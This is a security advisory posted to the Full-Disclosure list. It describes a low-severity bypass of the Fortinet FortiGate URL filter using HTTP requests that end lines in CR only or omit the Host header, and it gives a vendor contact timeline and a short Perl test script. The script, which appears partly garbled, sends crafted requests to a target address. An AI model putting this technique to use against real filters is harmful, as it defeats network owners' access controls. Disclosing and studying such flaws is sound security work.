URL filter bypass in Fortinet
Severity: Low Impact: Bypass Fortinet web filter Vulnerabilty type: Design error Affected products: FortiGate v2.8 CVE reference: CAN-2005-3058
It is possible to bypass Fortinet URL blocker by making special HTTP requests: - if each line of the request is terminated by CR instead of CRLF - if there's no host field in HTTP/1.0 request
Theses request are "tolerated" by the HTTP RFC 2616, par. 19.3, and most of the web servers replyes to them, however, Fortinet failed to parse such URLs.
This bug was tested on FortiOS v2.8MR10 and v3beta. The IPS module is not affected by this vulnerabylity.
See the perl scrip below.
No solution available yet.
08/11/2005 The vendor was contacted (using support web site), and a perl script for reproducting the problem was provided 08/16/2005 The vendor asked for more information 08/18/2005 Network dumps and explanations sent to the vendor 08/25/2005 The vendor said this this was escalated to the dev team. 01/04/2006 Status asked to the vendor. 02/06/2006 The vendor was informed that this information will be published in 1 week.
Discovered by Mathieu Dessus (mdessus(a)gmail.com).
Perl script for testing the vuln:
$target = '22.214.171.124';
$data = "GET /test HTTP/1.1\r Host: $target\r Pragma: no-cache\r Accept: /\r \r ";
$data = "GET /test2 HTTP/1.1 Host: $target Pragma: no-cache Accept: /
$data = "GET /test3 HTTP/1.0\r\n\r\n";
my $sock = new IO::Socket::INET ( PeerAddr => $target, PeerPort => '80', Proto => 'tcp', ); die "Could not create socket: $!\n" unless $sock; print $sock $data; read($sock, $ret, 600); print($ret."\n"); close($sock);
Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/